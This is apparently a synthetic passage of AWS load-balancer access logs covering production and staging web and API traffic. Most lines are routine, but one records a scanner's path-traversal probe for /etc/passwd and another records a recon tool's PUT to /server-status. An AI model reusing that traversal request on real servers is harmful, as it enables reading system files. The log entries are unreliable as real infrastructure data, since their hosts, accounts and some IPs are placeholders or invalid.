2024-11-01T02:11:06.432214Z prod-api-alb 187.68.131.139:53850 10.0.242.13:443 0.062202 0.010890 0.067431 200 200 697 5728 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d64a-bfb048ac1a9743fb981ea70e" "prod-api-alb.example.com" "-" 9 2024-11-01T02:11:06.432214Z "forward" "-" "-" "10.0.242.13:443" "200" "-" "-" +http 2024-11-01T02:11:08.157063Z staging-alb 195.127.65.224:53211 204.88.163.152:443 0.023309 0.673362 0.016878 200 200 463 5502 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d64c-e36a5c6494ee47af8abdb07e" "staging-alb.example.com" "-" 8 2024-11-01T02:11:08.157063Z "forward" "-" "-" "204.88.163.152:443" "200" "-" "-" +https 2024-11-01T02:11:09.219475Z prod-web-alb 23.34.181.229:29718 10.0.232.45:443 0.057665 0.068884 0.055641 302 302 630 10866 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d64d-357c2ac9cfb14c2486c2fcf3" "prod-web-alb.example.com" "-" 0 2024-11-01T02:11:09.219475Z "forward" "-" "-" "10.0.232.45:443" "302" "-" "-" +https 2024-11-01T02:11:10.118045Z prod-web-alb 51.89.129.163:23389 10.0.84.80:443 0.032148 0.462537 0.039684 301 301 79 8760 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d64e-b717abef87b9490e91419611" "prod-web-alb.example.com" "-" 2 2024-11-01T02:11:10.118045Z "forward" "-" "-" "10.0.84.80:443" "301" "-" "-" +http 2024-11-01T02:11:10.546379Z staging-alb 73.79.131.146:47663 49.111.192.200:443 0.144991 0.297263 0.147021 200 200 971 4409 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d64e-553855d80da74b8481825fa6" "staging-alb.example.com" "-" 7 2024-11-01T02:11:10.546379Z "forward" "-" "-" "49.111.192.200:443" "200" "-" "-" +https 2024-11-01T02:11:12.150230Z prod-web-alb 135.53.191.222:58394 10.0.231.135:443 0.038292 0.121780 0.075120 200 200 596 14446 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d650-5359783781c6428f8b7cde36" "prod-web-alb.example.com" "-" 1 2024-11-01T02:11:12.150230Z "forward" "-" "-" "10.0.231.135:443" "200" "-" "-" +https 2024-11-01T02:11:12.409559Z prod-api-alb 102.42.9.109:17390 10.0.129.215:443 0.003300 0.422912 0.082848 302 302 398 6736 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d650-5f4d2287a0d54ceb8c424c57" "prod-api-alb.example.com" "-" 2 2024-11-01T02:11:12.409559Z "forward" "-" "-" "10.0.129.215:443" "302" "-" "-" +https 2024-11-01T02:11:13.388925Z prod-web-alb 44.119.159.76:61290 10.0.247.169:443 0.047354 0.283878 0.006949 301 301 351 11535 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d651-a2a832df65fc41f3842c966e" "prod-web-alb.example.com" "-" 10 2024-11-01T02:11:13.388925Z "forward" "-" "-" "10.0.247.169:443" "301" "-" "-" +https 2024-11-01T02:11:13.860714Z staging-alb 18.164.234.88:50268 255.83.101.3:443 0.041426 0.522265 0.130386 301 301 422 8619 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d651-0f607a92e672400a9dd2af50" "staging-alb.example.com" "-" 0 2024-11-01T02:11:13.860714Z "forward" "-" "-" "255.83.101.3:443" "301" "-" "-" +https 2024-11-01T02:11:15.155108Z staging-alb 12.25.14.223:12384 227.88.230.108:443 0.070314 0.515948 0.100118 302 302 354 5563 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d653-bca1bb1e48be44fdad4e155c" "staging-alb.example.com" "-" 7 2024-11-01T02:11:15.155108Z "forward" "-" "-" "227.88.230.108:443" "302" "-" "-" +https 2024-11-01T02:11:17.095356Z prod-api-alb 180.67.248.218:19921 10.0.223.121:443 0.082216 0.217560 0.068991 200 200 555 2179 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d655-f3071464454646d7b344c232" "prod-api-alb.example.com" "-" 7 2024-11-01T02:11:17.095356Z "forward" "-" "-" "10.0.223.121:443" "200" "-" "-" +https 2024-11-01T02:11:17.275834Z prod-web-alb 144.90.252.172:43191 10.0.64.156:443 0.012468 0.154333 0.097727 302 302 869 9588 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d655-616f0d9c080545dfa807352d" "prod-web-alb.example.com" "-" 7 2024-11-01T02:11:17.275834Z "forward" "-" "-" "10.0.64.156:443" "302" "-" "-" +https 2024-11-01T02:11:18.944797Z prod-web-alb 97.227.79.80:39760 10.0.125.57:443 0.049524 0.220127 0.051226 200 200 708 10419 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d656-328dab671b01436e9660fe95" "prod-web-alb.example.com" "-" 8 2024-11-01T02:11:18.944797Z "forward" "-" "-" "10.0.125.57:443" "200" "-" "-" +https 2024-11-01T02:11:20.781283Z staging-alb 89.182.1.25:28731 137.207.162.21:443 0.122647 0.473223 0.063194 200 200 781 13753 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d658-61f4e52277d34511b81391bd" "staging-alb.example.com" "-" 8 2024-11-01T02:11:20.781283Z "forward" "-" "-" "137.207.162.21:443" "200" "-" "-" +http 2024-11-01T02:11:22.182515Z staging-alb 130.93.61.214:58002 44.167.184.31:443 0.082127 0.044279 0.066394 200 200 980 5991 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d65a-4e59957c70454b938818d19e" "staging-alb.example.com" "-" 0 2024-11-01T02:11:22.182515Z "forward" "-" "-" "44.167.184.31:443" "200" "-" "-" +https 2024-11-01T02:11:23.468674Z prod-api-alb 183.198.94.202:33130 10.0.147.127:443 0.049026 0.281006 0.074329 200 200 129 4168 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d65b-56bad44d87554c5ab32d1164" "prod-api-alb.example.com" "-" 2 2024-11-01T02:11:23.468674Z "forward" "-" "-" "10.0.147.127:443" "200" "-" "-" +http 2024-11-01T02:11:23.833819Z staging-alb 39.238.63.107:50471 69.20.41.248:8080 0.092872 0.183706 0.006691 302 302 893 4357 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d65b-36dcec640f974520869068f3" "staging-alb.example.com" "-" 3 2024-11-01T02:11:23.833819Z "forward" "-" "-" "69.20.41.248:8080" "302" "-" "-" +https 2024-11-01T02:11:24.115875Z prod-web-alb 136.158.27.102:49555 10.0.82.32:443 0.023380 0.118328 0.040228 200 200 358 13551 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d65c-50341cf469fa41bda83747b9" "prod-web-alb.example.com" "-" 5 2024-11-01T02:11:24.115875Z "forward" "-" "-" "10.0.82.32:443" "200" "-" "-" +https 2024-11-01T02:11:25.822100Z staging-alb 251.65.45.185:46882 2.161.145.168:443 0.070052 0.213389 0.087734 200 200 540 1087 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d65d-c3f7e91511084b37ae1a48db" "staging-alb.example.com" "-" 0 2024-11-01T02:11:25.822100Z "forward" "-" "-" "2.161.145.168:443" "200" "-" "-" +https 2024-11-01T02:11:27.647459Z prod-web-alb 32.55.192.88:12134 10.0.140.220:443 0.069025 0.025855 0.011294 200 200 76 7893 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d65f-4dca447302cb495b8082e023" "prod-web-alb.example.com" "-" 5 2024-11-01T02:11:27.647459Z "forward" "-" "-" "10.0.140.220:443" "200" "-" "-" +https 2024-11-01T02:11:27.783709Z prod-web-alb 170.75.131.81:36928 10.0.95.176:443 0.091357 0.235732 0.025239 301 301 168 14804 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d65f-8e249c59f0b845768bbcd955" "prod-web-alb.example.com" "-" 7 2024-11-01T02:11:27.783709Z "forward" "-" "-" "10.0.95.176:443" "301" "-" "-" +https 2024-11-01T02:11:29.138559Z prod-api-alb 154.61.209.59:63189 10.0.207.8:443 0.035229 0.208365 0.069399 404 404 627 13678 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d661-c904729da5464719883790d8" "prod-api-alb.example.com" "-" 3 2024-11-01T02:11:29.138559Z "forward" "-" "-" "10.0.207.8:443" "404" "-" "-" +https 2024-11-01T02:11:29.371820Z prod-api-alb 200.88.181.140:48967 10.0.91.169:443 0.041777 0.483309 0.029778 200 200 244 13438 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d661-18875cbc84fb4c46aa792e8c" "prod-api-alb.example.com" "-" 0 2024-11-01T02:11:29.371820Z "forward" "-" "-" "10.0.91.169:443" "200" "-" "-" +https 2024-11-01T02:11:30.100389Z prod-api-alb 67.70.55.7:32967 10.0.221.111:443 0.026381 0.197165 0.076333 404 404 726 748 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d662-aa18934e304b4a27aa988b3f" "prod-api-alb.example.com" "-" 2 2024-11-01T02:11:30.100389Z "forward" "-" "-" "10.0.221.111:443" "404" "-" "-" +https 2024-11-01T02:11:31.012392Z prod-api-alb 65.197.33.64:38911 10.0.161.203:443 0.067518 0.099177 0.018374 200 200 78 11289 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d663-bb92f43e5c014300beac3a4a" "prod-api-alb.example.com" "-" 5 2024-11-01T02:11:31.012392Z "forward" "-" "-" "10.0.161.203:443" "200" "-" "-" +https 2024-11-01T02:11:32.232463Z prod-web-alb 96.186.70.123:29894 10.0.201.241:443 0.035412 0.216515 0.039510 200 200 331 4592 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d664-80f8f9b433d140a087af898a" "prod-web-alb.example.com" "-" 8 2024-11-01T02:11:32.232463Z "forward" "-" "-" "10.0.201.241:443" "200" "-" "-" +http 2024-11-01T02:11:34.072744Z staging-alb 185.181.85.31:31493 187.28.154.231:443 0.138632 0.379053 0.007250 403 403 653 2030 "GET /../../../etc/passwd HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d666-1405a8c2af5c4c58aaeea7da" "-" "-" 7 2024-11-01T02:11:34.072744Z "forward" "-" "-" "187.28.154.231:443" "403" "-" "-" +https 2024-11-01T02:11:34.470471Z prod-api-alb 211.231.208.141:18055 10.0.219.97:443 0.059529 0.176399 0.000974 200 200 291 4889 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d666-70d6750f645a4f049fadee54" "prod-api-alb.example.com" "-" 8 2024-11-01T02:11:34.470471Z "forward" "-" "-" "10.0.219.97:443" "200" "-" "-" +https 2024-11-01T02:11:35.810968Z prod-web-alb 71.176.39.230:15447 10.0.58.210:443 0.022957 0.096288 0.034878 200 200 637 3729 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d667-92f8bf7bf5fd42d9a9da5cc6" "prod-web-alb.example.com" "-" 6 2024-11-01T02:11:35.810968Z "forward" "-" "-" "10.0.58.210:443" "200" "-" "-" +https 2024-11-01T02:11:37.202590Z prod-api-alb 102.110.154.141:53062 10.0.3.134:443 0.019778 0.444275 0.028910 200 200 129 5668 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d669-5f528208cabf49a4b88064db" "prod-api-alb.example.com" "-" 1 2024-11-01T02:11:37.202590Z "forward" "-" "-" "10.0.3.134:443" "200" "-" "-" +https 2024-11-01T02:11:39.142795Z staging-alb 166.60.1.188:48622 112.196.248.126:8080 0.137770 0.336012 0.095326 200 200 558 7411 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d66b-a499ca9e0ea54e129ff45bdd" "staging-alb.example.com" "-" 8 2024-11-01T02:11:39.142795Z "forward" "-" "-" "112.196.248.126:8080" "200" "-" "-" +https 2024-11-01T02:11:40.542872Z prod-api-alb 158.19.78.181:55307 10.0.124.82:443 0.075937 0.223611 0.040741 200 200 297 11793 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d66c-c95f38b640b343f9ac7d7c60" "prod-api-alb.example.com" "-" 0 2024-11-01T02:11:40.542872Z "forward" "-" "-" "10.0.124.82:443" "200" "-" "-" +http 2024-11-01T02:11:42.495323Z staging-alb 6.223.93.191:48531 89.212.184.156:443 0.008718 0.261442 0.033291 404 404 694 1358 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d66e-8774db9f475e4195880e69d2" "staging-alb.example.com" "-" 0 2024-11-01T02:11:42.495323Z "forward" "-" "-" "89.212.184.156:443" "404" "-" "-" +https 2024-11-01T02:11:43.524131Z staging-alb 193.208.118.121:15458 156.68.130.105:443 0.110662 0.350476 0.000727 301 301 715 5136 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d66f-e882d68174ea40f0811e4d18" "staging-alb.example.com" "-" 1 2024-11-01T02:11:43.524131Z "forward" "-" "-" "156.68.130.105:443" "301" "-" "-" +https 2024-11-01T02:11:43.913993Z prod-web-alb 70.204.247.207:37453 10.0.9.195:443 0.055408 0.380519 0.079386 200 200 577 8679 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d66f-8a52501b161b4ff7934c11e9" "prod-web-alb.example.com" "-" 10 2024-11-01T02:11:43.913993Z "forward" "-" "-" "10.0.9.195:443" "200" "-" "-" +https 2024-11-01T02:11:45.392596Z prod-api-alb 91.92.83.150:55299 10.0.150.205:443 0.093040 0.148356 0.007158 404 404 710 12587 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d671-b64bec04cd3f483fa38eb04c" "prod-api-alb.example.com" "-" 3 2024-11-01T02:11:45.392596Z "forward" "-" "-" "10.0.150.205:443" "404" "-" "-" +https 2024-11-01T02:11:46.335365Z prod-web-alb 216.241.120.19:20083 10.0.87.4:443 0.048446 0.392466 0.068616 404 404 442 6923 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d672-0f87c41c598342559cfa1e3d" "prod-web-alb.example.com" "-" 7 2024-11-01T02:11:46.335365Z "forward" "-" "-" "10.0.87.4:443" "404" "-" "-" +https 2024-11-01T02:11:48.149665Z prod-api-alb 140.220.164.67:37316 10.0.113.15:443 0.071132 0.234042 0.068798 200 200 121 11504 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d674-57886232a510430d8cfee74b" "-" "-" 6 2024-11-01T02:11:48.149665Z "forward" "-" "-" "10.0.113.15:443" "200" "-" "-" +https 2024-11-01T02:11:49.686248Z prod-api-alb 106.58.79.26:25222 10.0.224.1:443 0.054701 0.129564 0.097985 301 301 807 6080 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d675-ec77feae4f3541369e36d57f" "prod-api-alb.example.com" "-" 4 2024-11-01T02:11:49.686248Z "forward" "-" "-" "10.0.224.1:443" "301" "-" "-" +https 2024-11-01T02:11:50.420742Z staging-alb 86.226.169.158:35736 123.139.217.24:8080 0.116594 0.698186 0.071964 404 404 70 5303 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d676-49ea3f2b43f54f85b5f8fb45" "staging-alb.example.com" "-" 6 2024-11-01T02:11:50.420742Z "forward" "-" "-" "123.139.217.24:8080" "404" "-" "-" +https 2024-11-01T02:11:50.854991Z prod-api-alb 45.155.205.109:24207 10.0.100.174:443 0.088347 0.412577 0.051294 500 500 374 12183 "PUT /server-status HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d676-a824927f0b46482bbec61290" "-" "-" 1 2024-11-01T02:11:50.854991Z "forward" "-" "-" "10.0.100.174:443" "500" "-" "-" +https 2024-11-01T02:11:52.286646Z prod-api-alb 6.98.114.28:30148 10.0.185.196:443 0.009066 0.399405 0.042242 200 200 200 1856 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d678-aab89dd50a75426ead6f4140" "prod-api-alb.example.com" "-" 3 2024-11-01T02:11:52.286646Z "forward" "-" "-" "10.0.185.196:443" "200" "-" "-" +https 2024-11-01T02:11:53.741083Z prod-web-alb 3.251.177.73:43778 10.0.197.51:443 0.016769 0.465504 0.093105 200 200 245 8751 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d679-49adba6955084220a4fa0736" "prod-web-alb.example.com" "-" 10 2024-11-01T02:11:53.741083Z "forward" "-" "-" "10.0.197.51:443" "200" "-" "-" +https 2024-11-01T02:11:55.731490Z staging-alb 18.44.130.95:60180 30.198.250.144:80 0.087305 0.505171 0.069390 200 200 147 9402 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d67b-71210e72f99a43a2af3e81bd" "staging-alb.example.com" "-" 5 2024-11-01T02:11:55.731490Z "forward" "-" "-" "30.198.250.144:80" "200" "-" "-" +https 2024-11-01T02:11:57.309503Z prod-api-alb 155.45.241.46:23368 10.0.161.140:443 0.085639 0.271396 0.058708 200 200 424 9398 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d67d-c68f462f7ced41b9ada737e4" "prod-api-alb.example.com" "-" 5 2024-11-01T02:11:57.309503Z "forward" "-" "-" "10.0.161.140:443" "200" "-" "-" +https 2024-11-01T02:11:58.333014Z prod-web-alb 93.157.233.7:38545 10.0.59.190:443 0.090840 0.330851 0.060683 200 200 150 3365 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d67e-3f6d1f4cbde3435d935a2419" "prod-web-alb.example.com" "-" 10 2024-11-01T02:11:58.333014Z "forward" "-" "-" "10.0.59.190:443" "200" "-" "-" +https 2024-11-01T02:11:58.743508Z prod-web-alb 139.129.236.87:37976 10.0.153.28:443 0.018352 0.373789 0.097399 200 200 509 2111 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d67e-5e76fd57e1a648de8073d621" "prod-web-alb.example.com" "-" 7 2024-11-01T02:11:58.743508Z "forward" "-" "-" "10.0.153.28:443" "200" "-" "-" +https 2024-11-01T02:11:59.531559Z prod-web-alb 29.199.35.120:43372 10.0.167.38:443 0.050450 0.210519 0.060645 200 200 291 13347 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 